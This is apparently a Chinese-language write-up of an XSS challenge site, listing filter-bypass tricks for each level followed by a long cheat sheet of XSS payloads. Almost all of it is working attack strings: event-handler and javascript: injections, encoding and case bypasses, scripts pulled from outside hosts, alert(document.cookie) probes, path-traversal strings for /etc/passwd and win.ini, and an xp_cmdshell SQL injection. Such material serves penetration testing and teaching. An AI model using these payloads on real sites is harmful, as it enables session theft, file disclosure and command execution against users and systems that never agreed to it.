XSS挑战地址:http://xss.tesla-space.com/
参考两篇文章:
一、https://xz.aliyun.com/t/1206
二、https://www.cnblogs.com/r00tuser/p/7407459.html
总结来说绕过姿势:
1、闭合前面的标签,后面构造xss语句
2、过滤尖括号
用事件来弹窗
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '
3、过滤on,script
使用JavaScript伪协议
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //
4、过滤on,src,href
尝试大小写绕过
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //
5、过滤一遍关键字等
双写关键字绕过
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
6、过滤javascript关键字
使用HTML字符实体'a'='a'绕过
javascript:alert(1)
URL编码绕过
javascript:%61lert(1)
7、必须包含http://之类的
javascript:alert(1)//http://www.0aa.me //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注释的情况下
8、
输入点在url中,参数是keyword
首先测试以下过滤情况
' "><img src=x onerror=alert(2) x=
群友大神给的payload:
url=&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
测试一下有的是User-Agent,有的是Cookies里有回显。
修改为 " type="text" οnmοuseοver="alert()之类的payload即可,可以repeat几次看看哪些地方需要闭合。
9、使用带有xss代码的图片进行上传。
10、过滤空格,/,script
使用%0d %0a分割
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>
11、过滤尖括号,双引号
用on事件
/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`
一些常用的XSS payloads
1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt>
<svg/onload=alert(1)>
<script>alert(document.cookie)</script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
<img src=x onerror=”javascript:alert('XSS')″>
<IMG SRC=javascript:alert(
'XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
<IMG SRC=”  javascript:alert(‘XSS’);”>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”
</script><script>alert(‘XSS’);</script>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<svg/onload=alert('XSS')>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>